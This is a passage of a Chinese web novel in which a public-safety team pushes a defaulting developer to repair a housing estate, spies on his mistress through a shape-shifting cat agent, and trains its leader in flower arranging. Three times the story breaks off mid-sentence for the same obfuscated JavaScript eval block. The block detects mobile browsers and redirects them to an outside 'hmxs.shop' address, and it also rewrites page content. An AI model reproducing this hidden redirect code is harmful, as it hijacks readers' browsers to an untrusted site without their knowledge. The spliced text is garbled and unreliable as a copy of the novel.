“320户业主,基本都受过高等教育,在社会上有一份不错的职位,但桃源雅筑卖得贵,他们为了买房子也是掏空家底了,大部分人为了买这个房子还背了一笔贷款,若是房子烂尾,他们房子没拿到,还要还贷,绝不会善罢甘休。这四十户的业主代表都是中坚力量,里面最有能力的叫高明月,是个律师,就是她先组建了这个业主联盟,在业主里很有威信。” “这种带头人很关键,平安,高明月你最好亲自跟。”张松鹤提出了忠告,“如果业主带头人信任你,她就会帮你摆平80%的麻烦,但如果她对你不满意,冲突必定会升级。” 纷纷扰扰讨论一大堆,平安最终厘清了接下来的工作思路:“妙妙跟刑侦借两个人,帮忙盯一下薛良跟他的家里人,看能不能找到是谁送他的表。向大姐和我去拜访高明月,争取让她跟我们合作。温尔雅,一会儿找我一趟,我们共同合计一份解决方案,这次不能出差错了,一定要小心。” 她目光转向了张松鹤,还没开口,张松鹤就自然地接上:“我替你跑一趟住房管理部,给万柏道歉,这事也只有我去办才合适了。” 不等祝平安说感谢的话,他立刻拍拍手鼓舞大家:“各位,我跟祝组长会不会滚蛋,就看大家的了!现在赶紧动起来!” 55.真诚是必杀技 这两天,祝平安忙的真叫脚打后脑勺。 先是陪同妙妙去刑侦处借人,白子欣知道是帮她的忙,跑的比发工资还积极,得到老同学这样的帮助,祝平安也不禁心头一暖。 至于解决方案,她和温尔雅这次可真是煞费苦心,一点小细节都要反复推敲考究,把张松鹤烦的不行,磨了七八版才彻底敲定,自信无论是谁也很难挑刺。 张松鹤那边的进展也很顺利,他的职务在那里摆着,亲自登门道歉,连住房管理部的部长都惊动了,万柏难道还能说不?少不得陪出笑脸来,保证两个部门同心协力,为百姓分忧。至于公共安全部拿出来的方案,万柏也保证尽力而为。 万事俱备,祝平安就带着向大姐,去找高明月了。高明月的律师事务所开在一个中档街区,透明玻璃门头加上黑白灰软装,透露着精英人士的气质。祝平安本想推门进去,却被向大姐拦住:“现在不是时机。” 祝平安往门里望望,高明月好像有客人在,正跟人谈事情,也就继续在门外等着。过了一小时,客人走了,祝平安又想走进去,却再次被向大姐拉住了:“再等等。” 这一等,就把一晚上等过去了。高明月看着像是个工作狂,踏着一双高跟鞋雷厉风行的跑进跑出,晚饭也只吃了一碗泡面,直到凌晨时分,才结束了工作,步履蹒跚的出了门,想要打个出租。 “时机到了。”向大姐一拍祝平安:“赶快过去!” 祝平安驭鸟落下,向大姐堆起一脸最亲近的笑容:“这么巧,高小姐刚刚下班吗?工作也太努力了。” “以前我都是准时下班的,现在不努力怎么办?我每个月要还一百多万的贷款,同时接三个工作也是紧巴巴的。”高小姐脸上有两道愁苦的法令纹,听了这话,不由得浮出一丝冷嘲,“哼,累死累活,省吃俭用,也不知道是为了什么奋斗……” 向大姐厚着脸皮没接话:“现在太晚,打出租不方便,干脆我们送你回去吧?” “少来这套,我知道你们想干什么。”高小姐却不吃这套,“你们的人情我不敢欠,请回吧。” “什么欠人情?上次的会议,我们准备不周,耽误了您的时间,现在是请您给我们一个机会,让我们稍作补偿。”向大姐眼睛都不眨,“您快上来吧,您穿的高跟鞋,站一天了肯定脚趾痛。早点回去,也能早点洗澡休息,别耽误了明天赚钱不是?” 怪不得高小姐走路姿势这么怪!祝平安也不得不叹服了,向大姐姜是老的辣,怪不得今天她一直说时机未到,原来她等的就是高小姐身体最疲惫的这一刻! 高小姐被向大姐这样一说,也觉得脚痛难忍。她明天要出差,现在回去也睡不上五个小时,实在不想在这干耗。向大姐一拉她,她也就半推半就地坐上了送魂鸟,脚趾的剧痛瞬间舒缓下来,人也忍不住松了口气。 这□□上一放松,精神上就有点绷不起来了,高小姐再开口也多了三分温和。祝平安趁势跟她道歉,并把那份方案拿给高小姐看:“高小姐,这是我们最新一版的方案,您请指点。” “你以为我们还会傻到上当第二次?”祝平安不提这个还好,一提,高小姐眉毛就竖起来了:“地产方一点诚意都没有,这会再开有什么用?” “了解,了解,上次确实是我们这边审查有问题,这次我们一定吸取教训。”祝平安点头哈腰:“高小姐您是律师,组建业主联盟为的是什么?不就是想用合法途径解决问题么。不开会,等到一个月之后,事情没有丝毫进展,您就算真的带着大家游行示威,房子修不修,不还是要着落在地产商头上?” 见高小姐不吭声了,她趁热打铁,把方案翻开:“我想着,交房之前,一户出一个人先共同去看看房子,把家家户户的问题都记录一下,是想要重新刷漆,还是修复漏水,都白纸黑字的写下来。” “有什么用?”高小姐开口了,“要是地产商还像是上次那样敷衍我们,就算我们白纸黑字了又能怎样?” “您放心,这个我们也考虑了。我会请住房管理部的人跟你们一块去看房子,他们也会现场给房屋做一次质量检测。”祝平安有备而来,“您心里也清楚,这房屋质量肯定是不合格的,有了这个检测报告,如果一个月后地产方就这样交房,我们就有理由告他们了,您是律师,您应该比我懂吧?” “哼,正是因为明白……”高小姐疲惫地闭上眼睛,“类似的案子我见过,打官司就算能赢,时间上也要拖个一两年,最终赔偿款项如果付不出来,还是白搭。” “所以咱们才更要抓紧窗口时间。”祝平安恳切道:“房屋质量有问题,如果就这样交房了,直接就能追究项目负责人责任的。公共安全部提前介入,对地产方施压,让他把房子修好,最省事的还是大伙儿,不是吗?” 高明月沉吟着看向祝平安,半晌之后,她点了点头:“好吧,就再信你们一回……我回去就跟大家说。” 于是,在一个周末,320名业主在高小姐的带领下,共同来到了桃源雅筑。祝平安这次是做足了准备,小区一共八栋楼,她们特别行动组一共六个人,再加上张松鹤白子欣,刚好一人负责带领一栋。 业主们按照楼号分批进场,每个人手上都拿着温尔雅做好的调查表。 这表格是温尔雅和祝平安花了好久的心思才磨出来的,最上头是户型图,图上给所有房间都标了号,每个编号后头都单独有一栏,里面列满了房间问题所在:漏水、没电、地板空鼓、五金破损、墙面裂纹……,业主只发现此房间有对应问题,只需要在上面打钩就好,非常方便省力。 祝平安还特意从治安组借来十个牛高马大的壮汉,专门护卫着万柏等人,让他们能够不受干扰地开展质量检测工作,给足了他们安全感。 这一次,工作进程非常的顺利。 业主们不是傻子,你对待他们是轻忽敷衍,还是认真尽职,人人都感觉的出来。看着这些差役们陪着他们爬上爬下,认真查看,还不时拍照留档,只怕对自己的房子也就是这么尽心了。是以业主们虽然很愤怒,但仍然保持了克制,只是在调查表上重重地打钩,借此来发泄心头怒火。 一天下来,祝平安说了太多话,搞得嗓子嘶哑;温尔雅不长于体能,晚间回家的时候脚肿的都穿不上鞋。即使下了班,大家也依然马不停蹄地忙着工作:统计表格、督促万柏等人出具质量安全报告、以及将今日的工作存档…… 就在他们的努力下,住房管理部的报告先出来了——谢天谢地不是危房,也不存在重大安全隐患。只有一个漏水问题需要重点修复,可能要更换水管和被水腐蚀的墙壁,一个月的时间怕是搞不定。 至于地面空鼓、更换五金、重新粉刷等问题,都是小打小闹,不会伤及房屋根本。 而在特别行动组不眠不休的加班下,业主们填写的调查表也被统计出来了,一共是三千多条意见,其中有不到一百户人家漏水,其余者都是些装修方面的问题。住房管理部草草估计一下,要把这三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856497|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千多条意见整改好,要花的拆改费、材料费、人工费、清运费……林林总总加起来,要20亿左右。 20亿对于一个大企业来说,真的不算什么钱,祝平安当即就上门去找薛良了,而薛良的回答也很干脆: “没钱。” 这次他连装都不装了,西装革履地坐在办公桌前,悠悠闲闲地翻着报纸。“您二位别这么瞧着我,今天就是天王老子来了,没钱也是没钱。” “桃源雅筑一套房都要卖3亿,现在你们20亿都拿不出来?”祝平安强压怒火问道。 “哎呀,您是官面上的人物,怎会知道生意难做呢?”薛良把报纸合上,往后一倒,“此一时彼一时啦,不信您去查我们的账。” “你的工资每个月都是照发的,有钱发工资,没钱修房子?” “我们的工资也是合法劳动收入啊,凭什么不给我们发?”薛良无辜地眨巴着眼睛,“就算公司要破产,也得优先清偿员工的工资啊,您可不能不讲道理。” “今天您要钱没有,要命……您凭哪条也要不了我的命,还是请回吧。”薛良说罢,就要送客了。 人不要脸天下无敌,祝平安又不能真的把他怎么样,有心赖在他办公室不走,又觉得不是办法,只好悻悻然回去,倒在工位上把薛良骂了千八百遍。 温尔雅静静地等她骂完,这才端上一杯茶:“我有一个好消息和一个坏消息,你先听哪个?” “坏的吧。”祝平安自暴自弃:“听完坏的再听好的,就会有种苦尽甘来的感觉。” “高小姐刚刚来催咱们了,说是调查表都收上去三天了,怎么还没动静,到底什么时候修房子。业主们都很心急,要是一个礼拜没有回信,她也压不住大家了。” “好嘛,我就知道肯定是这个事。”祝平安真想找个地洞钻进去不出来:“地产商那边要把哭穷哭到底了,根本掏不出钱来啊。” “那我的好消息也许能解决你的烦恼。”温尔雅把祝平安拉起来:“白子欣那边已经查到了,薛良有个叫柳柔的情妇。” “有情妇?有情妇关我什么事,难道还要用这件事敲诈他掏钱不成?”祝平安还没反应过来。 “有情妇,就证明他另外还有一个家呀。”温尔雅无奈开口,祝平安虽然聪明,但对这些人心幽微了解实在不多:“妙妙查过薛良跟他妻子的帐,都没有丝毫问题,可若是他另有一个家,事情可就不好说了,你就不好奇那劳力士是谁给他买的吗?” “你是说,他家没钱,但他的情妇很可能有钱?” “不仅如此,刑侦那边反馈,柳柔住的是独栋别墅,光那一栋别墅就值二十多亿,更别提在他情妇名下的珠宝、地产、商铺、基金等财产了。”温尔雅提点她:“柳柔三年前还是一个孤鬼,哪来的这么多钱?就算是全靠薛良,可薛良的收入也置办不起这么多财产。除非……” “除非这钱来路不正!”祝平安嚯一下挺直了身子:“三年前,那不正好是桃源雅筑开工的时候吗?难道是项目公款……” “只是猜想,猜想。”温尔雅看她精神了,这才松了口气,笑眯眯道,“咱们现在还没有证据。如果能找到证据证明,薛良把了项目公款转移到了他情妇名下,你就再也不用担心修房款了。” “那咱们还等什么呀!柳柔住哪里?快点行动!”祝平安跟打了鸡血一样站起来就跑,快跑到门口时,又兴奋地跑回来拽温尔雅,“走走走,动起来,今天晚上咱们就去打小三!” 56.小三的职业修养 那天他们当然没去打小三,苗妙妙作为潜伏收集情报的专家,表现出了对外行的轻蔑:“明天,我自己去就好。” 祝平安见其他组员也一副“此事有妙妙一人足矣”的样子,不由得跟向大姐咬耳朵:“妙妙的能力我是相信的,但一个人就潜入柳柔家,会不会托大了一点?” “放心吧,妙妙生来就是干这个的,这么多年从没失过手。”向百灵笑道:“你要是实在不放心,明天就跟妙妙过去,见识一下她的能耐。” 高冷少女却不耐烦祝平安跟去添乱,最后还是祝平安软磨硬泡才勉强同意:“好吧,但不管你明天看到什么,都不准说出去。” 祝平安当然点头如捣蒜。钱的问题有望解决,她晚上难得睡了个好觉,第二天上班都是容光焕发的。 柳柔住的地方叫枫园别墅,位居郊区半山之上,这里住的都是些有钱人,树丛高大,围墙通着电网,安保与私密性都极好,看着不像是能够随便潜入的样子。祝平安在约定地点左等右等,都没见到妙妙,不由得有些急:“奇怪,她怎么还不来?” “来了。” 妙妙的声音突然在耳边响起来,平安四处观望,并没看到一个人影:“妙妙?你在哪?” 她猛然想到什么:“哦!你会隐身!怪不得大家都说你天生就是干这个的,看来我是白点心了!” “什么隐身,我在这!”妙妙的声音变得不耐烦了,祝平安只觉得有什么东西拉了一下自己的裤腿,低头一看,不由得呆了。 自己的脚边有一只矮脚奶猫! 小家伙毛绒绒胖乎乎的,四肢短短,一身黑毛,肚皮和四只爪子却是雪白雪白,一双圆眼睛蓝的纯澈,此时它正不耐烦地扬起前爪,挂在祝平安的裤腿上。 祝平安素来喜欢毛绒绒,一下就被奶猫的可爱样子击倒了,两只眼睛都弯成了心形,伸手就把奶猫抱了起来,举到自己的面前:“你是谁家的小猫咪呀?” 啪! 奶猫凶残地用小肉垫给了祝平安一个大嘴巴:“恶心!快放开我!” 奶猫说话了!祝平安捂着脸睁大了眼睛,怎么这声音还有点熟悉:“妙妙?是你?” 奶猫,啊不,妙妙矜持地点了点头,舔舔自己的爪子:“这么久才反应过来,你还真是够迟钝。” 妙妙居然是只小猫!还是这么可爱的小猫!怪不得她潜入从不失手,毕竟谁能拒绝这么一只软软的小猫咪呢? 祝平安痴迷地看着它,一时间连自己是干啥来的都忘了。妙妙被她看的浑身发毛,叼着一个小东西放到地上:“这是监听耳机,你到一边找个隐秘的地方藏着就好,我先去了!” 说罢,妙妙迈开小短腿,啪嗒啪嗒地向着柳柔家门口走去。祝平安贼头贼脑地跟在妙妙身后,找到一个灌木丛钻了进去,把耳机戴上,陶醉地听到耳机里传来一阵猫呼噜声。 远处,妙妙在门前找了个好位置趴下,精心地开始舔毛,力保自己能以最蓬松最干净的样子出现在目标面前。二十分钟后,目标人物出现了:柳柔家的保姆。 刑侦已经提供了可靠情报,这位保姆心软善良,对付这种老阿姨,妙妙手到擒来。她眼睛一眯,夹着嗓子,发出楚楚可怜地咪咪叫声,吸引了保姆阿姨的注意力。 阿姨果然上钩,忍不住蹲下身子来抚摸它,它趁机又是蹭着阿姨的裤腿,又是躺倒在地,露出雪白柔软地肚皮,撒娇献媚装可怜一气呵成,没有五分钟就把阿姨哄地自愿拜倒在小爪垫下,抱起妙妙进屋去了。 高!实在是高!祝平安蹲在灌木丛里目睹一切,对妙妙的业务能力叹为观止了。同时,自己也不由得打个冷战:无事献殷勤,非奸即盗!当路边的流浪小咪对你十分谄媚的时候,你可要小心啦~谁知道它是想要从你身上得到什么? 耳机里传来保姆阿姨喵喵叫的声音,紧接着,又传来一个中年女人的声音:“何阿姨,哪来的猫啊?” “应该是流浪猫,我在路边看到的,多可爱啊!我会把它养在自己的房间,袁管家你帮个忙,别跟太太说啊!” “瞧你说到哪里去了,太太也挺好说话的,自己还养狗养兔子的,怎么会难为小猫呢?”袁管家好像也笑着摸了一把妙妙,“不过你要看好它,别让它打碎东西。太太最近正打算学习插花呢,已经着手在找老师了,又花大价钱买了一大堆名贵花瓶,里头还有古董,要是打碎了一个,你可赔不起!” “之前不是要学画画吗?又改学插花了?” “钢琴、瑜伽、香道、油画……这么多门课都上了,还差一个插花课?”袁管家笑着跟何阿姨咬耳朵:“一个月光学费就这个数!考状元也没她这么认真。她是那样的出身,就想当有涵养、有情调的女人,不抓紧学习怎么行?” 一语未了,便听远处有拉铃一响,一个娇嫩的嗓音在叫管家了。袁管家的脚步声迅速远去,显然是去伺候女主人了。那娇嫩的声音正想说什么,却突然打了一个大大的喷嚏,那声音响的,连耳机这一头的祝平安都吓了一跳。 “管家刚刚碰过什么了?”紧接着又是两个大喷嚏,何阿姨似乎是想要看戏,跑到了离太太更近的地方,娇嫩的声音变得更清晰:“猫,这屋子里有猫毛!我对猫过敏!阿嚏!阿嚏!” 咕咚一声响,紧接着是四只小爪子拼命抓挠地板的声音,还有柳柔的高叫:“猫!快把那猫给我赶出去!我浑身都起疹子了!阿嚏!” 随着柳柔这一声令下,不知道多少人的脚步声立刻压过来。猫咪哈气声、瓷器摔碎声、打翻茶壶声、还有扫把敲到地板的声音跟妇人们的尖叫声混在一起,让祝平安听得心惊肉跳。 她连忙往门前走了两步,试图接应妙妙,只听喵的一声,一个小小的黑影从墙头上跃了出来,还飞出来一只拖鞋。妙妙的毛都炸了起来,小身子像个小炮弹一样往祝平安怀里一扑:“计划有变!火速撤离!” 祝平安揣着奶猫一溜烟地离开了是非之地,女仆们追出门外,已经不见猫的影子,这才放下心来。妙妙从祝平安领口里把头探了出来,亮出肉垫里的指甲,威胁地顶在祝平安喉咙上:“回去后不准跟人提起,要不然……” “我明白我明白。”祝平安把头往后一仰,强行忍着,但最终还是忍不住狠狠揉了一把猫头,不可抑制地大笑起来:“哈哈哈哈哈!” “所以我才不喜欢有人跟着。”妙妙爬出祝平安领口,站起身来,又变成了平时的高冷少女,一边整理头发一边抱怨道:“我的形象啊!都毁于一旦了!” 妙妙这一趟潜入,虽然不到五分钟就被人撵了出来,但也不算无功而返,起码听到了一个非常重要的消息:柳柔近期想要找一个插花老师。 “当情妇也够累的,天天都要跟着附庸风雅。”张松鹤托着腮:“如果能够成为她的插花老师,就能光明正大进入她家,这个机会一定要拿下。” “我已经部署下去了,让刑侦那边尽快给你给你搞份假履历过来,什么特级花艺师、国际大赛得主的头衔都给你来一份,保证无懈可击,让你坐收offer。”张松鹤大手一挥:“祝平安,三天内学会插花,有没有信心?” “怎么是我啊?干嘛不让妙妙去?”祝平安大惊失色。 “我就是变成人形,柳柔一样会对我过敏,这次我真的没法去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861279|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”妙妙耸耸肩。 “我都不会插花!你让会插花的去不行吗?” “会插花的只有我跟温尔雅,但我们不能去。”张松鹤一摊手:“人家要招聘女老师,我们都不符合条件。” “那向大姐……”祝平安还想垂死挣扎,眼角一扫向大姐,自己也把话咽回去了。向大姐五短身材满面红光,瞧着就跟那些风花雪月的事情半点不搭边…… “祝组长,不要推脱了,我看好你的学习能力。想想你肩上的担子,为了大家,你一定行的。我跟温尔雅会一起教你,加油吧。”张松鹤无情的话语彻底击碎了祝平安的幻想。 温尔雅倒是很开心有这么一个光明正大跟祝平安相处的机会,他立刻带着龙如烈买了一大车鲜花回来,外加扎带、花泥、花器、剑山,手把手地开始教导祝平安插花知识:“这是仙客来、这是君子兰、这是腊梅、这是木兰……” “她不是要真当花艺师,只是为了糊弄柳柔,你教这么基础的干嘛?”张松鹤嗤之以鼻。他摆手叫祝平安过来:“万事都是有套路的,你现在记住几种百搭的配色造型、几个固定的花材搭配,并且学会怎么把花固定在花瓶里就够了。” 他一边说,一边在花堆里挑挑拣拣,很快拣选出荷花、莲蓬、莲叶三种花材,又取了一个洁白修长的美人瓶:“比如这三种花材,本就是同根同源,美在高洁挺拔。你只需要按照莲花本来的样子,把它们插在花瓶里就好。” 祝平安埋头做笔记,却被他猛地敲了一下头:“看花!美要靠心灵去感悟,记笔记有个蛋用?” 他又抬头扫了一眼温尔雅:“你也过来,插一些典型案例给她看看,我来教她造型和固定手法,你来教她配色和选花瓶。” 张松鹤是下了决心,要把她熏陶成美学大师了。两个人跟竞赛一样,把办公室插得这一个花瓶那一个花瓶,一时间分不清楚这是公共安全部还是花园,这也就罢了,他们还硬逼着祝平安来品评他们的作品:“说说这个作品给你的感受,并且告诉我是哪里给你这种美感。” 祝平安被他们折腾的口吐白沫,她从来没这么清晰地意识到,自己是个粗人。不过经过几轮熏陶以后,她对插花也渐渐有了自己的审美。 两人的作品当然都是好看的,但内在气韵却截然不同。温尔雅的作品总是丰盈柔美的,给人以生机繁茂、花团锦簇的感觉;张松鹤的作品则有种卓尔不群,清寒雅致之美,恍如山间白雪、云中仙鹤,孤高地都有点带仙气了。 “我本来就是道士啊。”张松鹤是这么解释的,“供奉三清,要用香花宝烛。给神仙看的花,自然要有道韵,不能庸俗。”说罢,还意有所指地看向温尔雅的作品。 “庸俗吗?”祝平安的手指拂过温尔雅的花瓶,质朴可爱的土陶瓶里,插着浅黄的野菊、淡蓝的绣球、粉红的太阳花、和毛茸茸的蕨草,叫人瞧着就心情愉悦:“可我觉得这个很好看呀,你那个花插得虽然也不错,但更适合放在庙里,放在屋里,别人看了还以为这屋里睡的是个寡妇。” “你懂什么审美!”张松鹤的高雅风格被批判为“寡妇风”,气的青筋暴起,手上嘎巴一声就把手指粗的梅花枝捏折了。 温尔雅十分得意,也跟着帮腔:“就是,谁说供神的花就需要寡淡寒素,那都是牵强附会的,只有一些装腔作势的人才喜欢这种风格。” “好好好!那你就教她不装腔作势的东西,我不跟你们这些庸俗的人一般见识!”张松鹤气的把花剪往桌子上一扔,掉头就走,走到门口又冲回来:“祝平安,明天上班之前我要看到五十个插花作品,这是给你留的作业,做不出来要你好看!” 57.最特别的朋友 上司动动嘴,下属跑断腿,祝平安今天算是知道厉害了。下班时间早就过了,值班的人也已经睡了,整栋办公楼都静悄悄的,似乎只剩下了她和温尔雅。 祝平安哈欠连天地坐在椅子上,感觉眼前的花瓶都有双影了,全靠意志力支撑眼皮。 不行,不能睡……这才做了二十五个作品…… 一旁的温尔雅看她困得东倒西歪,心疼道:“你先睡会儿,作业我替你做,也是一样。” “谢谢你这么讲义气,但你又不能替我去做老师,还是我自己来吧。”祝平安猛地搓了一把脸:“距离上班时间还有6小时,我能行!” 她一边给自己打气,一边打着哈欠去拿花,困得迷迷糊糊的她并没发现,自己抓起来的是一捧蔷薇,温尔雅想要提醒她已经来不及了。只听哎呦一声惨叫,祝平安把花儿丢开,举着手一通乱抖,手掌上已经被扎出一堆小洞。 “我看看!”温尔雅立刻扑过去,把她的手捧在掌心,见五个指头个个都在冒血,不由得带点埋怨:“就说你困了就别做了吧,这下受伤,舒服了?” “没关系啦,你不是会帮我治好吗?”祝平安嬉皮笑脸,满是信赖地看着他,“有温副组长在身边帮我,我连荧惑星君都不怕,还怕这些小刺吗?” 听她这一句话,温尔雅的骨头都轻了三两,指尖轻轻拂过她的手掌,立刻治好了那些小洞,待要再嗔她几句,嘴角又忍不住疯狂上翘:“瞧你!那也不能仗着我在,就不注意自己的身子,难道我能时时刻刻在身边看顾你?” “你不能吗?”祝平安歪着头,“现在咱们俩一个组工作,住的地方也在一处,仔细一想,好像毕业之后咱们就没分开过啊!” 她捅捅温尔雅的腰,半开玩笑道:“我还奇怪你怎么会到公共安全部来呢,说,是不是放心不下我,这才跑到工作单位来盯着啊?” 说者无心,听者有意,温尔雅被她说中心事,一急竟然有点结巴了:“别别别瞎说!” 温尔雅结巴可是从没见过的事情,祝平安笑的差点没仰到椅子后头去:“我跟你开玩笑呢,你紧张什么呀!” 这么一闹,祝平安的瞌睡虫也给闹没了,她又精神百倍的站起来:“来,接着干,争取早点做完,还能睡一会儿!” 温尔雅一双眼瞧着祝平安,思绪起伏不定。方才她的举动,竟然轻轻抚平了他心中的稍许阴霾。 她方才对他的口气,不也是既坦荡又亲昵,透着一股子亲切自然吗?平安这个姑娘一向大大咧咧,把所有人都当成好朋友。或许,张松鹤也不是那么特别,起码,自己在她心里,一样是个特别的朋友…… 有意无意地,他的外袍松松地敞开了,他站的位置,也离祝平安更近了一点。见祝平安举着剪子上下比划,眼看又要辣手摧花,他摇摇头,伸出手去,握住了祝平安拿剪刀的手:“不对,如果在这里下剪子,那么这花枝就太短了,要再往下一点,这里。” 他把着祝平安的手,将花剪移到合适的位置,又教她:“宁长不短,毕竟长了还能再剪短,短了可就没救了。” 他不知什么时候,已经移到祝平安身后,另一只手也趁势握住祝平安拿花的那只手:“这样,斜斜地插入花瓶之中,看一看长短是否合适,若不合适,再拿出来调整。” 祝平安只觉得手背一痒,他莹白如玉的指尖在她手背上一溜,轻轻拿住了她的手腕。这态度当然不轻薄,但莫名地让她全身一抖,忍不住就是一身鸡皮疙瘩。 温尔雅身形比祝平安高小半个头,这样手把手的教学,已经基本是把她半圈在了怀里,一阵清新的青草香扑入祝平安的鼻孔,让她一时间不知道是呼吸还是不呼吸,心跳不由得乱了一拍。 不知怎么,这个姿势让她想起了还在琢玉学院上课的时候,那时候,温尔雅也是这样帮她补习,手握着手,一笔一划地教她书写那些难懂的篆文…… 这些温馨的回忆让她觉得美好又愉快,还有那么一丝说不清道不明的心虚:温尔雅实在太好看了,她死了一回,美男子也见了不少,娇憨如金毛毛,俊美如张松鹤,英武如荧惑星君,可无论是哪一个,都比不上温尔雅的绝色。 有时候,他的容貌甚至让她都有种不真实的感觉,她不敢仔细去看他,即使两个人已经同生死、共患难,但她在看他的时候,总是要错开眼,只看他脸上的一部分,若非如此,她就会忘记自己是谁,在做什么。 哎……虽然不怎么想承认,但她多少有点为色所迷…… 祝平安正当妙龄,生前最爱玩乙女游戏,心猿意马的时刻也不是没有。 现在夜阑人静,屋中花香浮动,身旁的温尔雅又是细语温言,纯美如泉的嗓音低低的,在她的耳膜上搔着微微的痒:“……好花如美人,必定要精心打理,却又不能显出雕琢痕迹,要素面朝天,质朴天然……” 祝平安这会儿都有点口干舌燥了,哪里听得进去这些东西? 她为自己的感觉羞耻——人家正教她插花,自己是想什么呢!不过说来也奇怪,从前温尔雅帮她补习古代文字的时候,姿态暧昧犹有过之,她怎么就没有这种感觉呢? 她母胎单身,自然不清楚,人体磁场十分微妙,对荷尔蒙的信号是很难误会的。从前温尔雅对她没有这种心思,她也自然无感,现在一切已经不同,祝平安的身体就先于脑子,本能地就感觉有点不太对劲了…… 她莽莽撞撞地一转头,想去看温尔雅的脸,温尔雅正微低着头,看似在看花,实则以余光不动声色地打量着她的表情,不妨她猛然转头,这下被她额头撞个正着,不由得惊叫一声,向后倒去。 祝平安见惹了祸,连忙去扯温尔雅的手臂。温尔雅身材消瘦,她这样一扯,用力有点过猛,眼见得温尔雅从后仰变成前扑,向着她就砸了下去。 她本能地想要闪开,身子都已经闪出一半了,却忽然想起,现在他们在插的是蔷薇花——花枝上满是尖刺!若是这一下自己闪开了,温尔雅这样扑下去,必然倒在一大丛蔷薇刺上,还不彻底毁容了?他的治愈术又不能给自己治! 眼见得温尔雅星眸圆睁,面带惶恐,祝平安怎么也不舍得让这张绝色面孔毁于花刺。她面上露出一丝苦笑,心说死就死吧,更痛的也不是没有来过,抢先一步又闪回身去,垫在温尔雅前面。 一声闷哼,一声痛喊,桌子歪倒,瓷瓶掉落。两个人的重量一块砸进花丛,雪白的蔷薇花瓣纷纷飘落,将花间二人掩埋。温尔雅慌忙起身,拂去一头花瓣:“平安?平安?你怎么样了?” “我……很不好……”祝平安脸色惨白,什么信不信号都抛到九霄云外了。两个人加在一起,二百多斤的分量都压在她一个人身上,这一下倒下去,跟滚钉板都差不多了。她忍不住嗷嗷叫唤起来:“疼啊!快把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867546|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我后背上的刺拔掉!” 温尔雅慌忙把她扶起来,让她伏在桌子上。这一翻身,只见蔷薇花嵌了一后背,他知道人体肌肤敏感,这刚刺入两三毫米的小刺是最痛的,当下把所有旖旎心思都收了起来,用花剪把祝平安的衣服剪开,开始给她拔后背的刺。 他拔一下,祝平安就嗷一声,像是惨遭容嬷嬷毒手的紫薇。他忍不住埋怨:“刚刚明明都闪开了,干嘛又突然回来!” “哎呦!你个没良心的!”祝平安痛的脸颊抽搐,“我还不是怕你受伤吗!” 温尔雅拔刺的手突然停住了,直到听见祝平安嗷嗷地叫他,才收拢心思再去拔刺:“老是舍己为人,你是滥好人吗!” “什么滥好人!”祝平安心说要是真的让你毁容,我造孽就造大了,“咱们是同生共死的交情,要是换了别人,你瞧我管不管他!” “真的?”温尔雅找到一根最大的刺,试探性地问:“即使是张松鹤,你也不管?” “我管——啊!”后背猛地一痛,祝平安大声惨叫,脖子上青筋都出来了:“我管他个屁!温尔雅我警告你,你手轻一点!再这样下次我连你也不管了,让你一辈子没朋友!疼疼疼!” 得到了如斯明确的回答,温尔雅心中的狂喜几乎要炸开。她亲口承认,她待他是不同的!至于她与张松鹤的默契什么的,那不代表什么,对吧? 现在她还只当他是朋友,但却是她能够“舍身相救”的,特别的朋友。总有一天…… 忙了半晌,总算把祝平安的伤口处理好,祝平安累的精疲力竭,作业是无论如何也搞不定了。温尔雅拍着胸脯保证他会保质保量帮忙完成,祝平安也没心思再争,换了一套替换制服,倒在一边就睡着了。 睡了一觉起来,长条会议桌上已经满是插花作品,二十五个是她自己的作品,可以说相当地丑。另二十五个在桌上盛放,一眼望去,主色调居然都是红色,粉红、嫣红、桃红、绯红……深深浅浅,浓浓淡淡,每组作品都饱含着轻松愉悦,好像作者忍不住就要笑出来一样。 她古怪地打量温尔雅一眼,心说她受了伤,他有啥好开心的?一定是自己鉴赏功力不到家,领会错意思了。 张松鹤过来,打量着这些作品,怀疑道:“都是你做的?” “一半儿是温尔雅做的。”祝平安知道瞒不过去,索性大方承认,“昨天做到一半,我受了点伤,所以温尔雅就帮我做了二十五个作品,不过你只说要五十个作品,又没说是谁做,我也不算是违背命令嘛。” 张松鹤瞧她眼下青黑,心知以她的水平,25个作品已经够她熬半夜,也就不欲追究。但温尔雅那25个作品,春心萌动简直一望便知,也不知道昨天到底都发生什么了。他不由得暗暗有点后悔,自己不该赌气先走的。 眼角再往地上一扫,他脸色大变,地上有一摊衣服,瞧着就是祝平安昨天穿的,居然已经被剪子给剪成了两半。 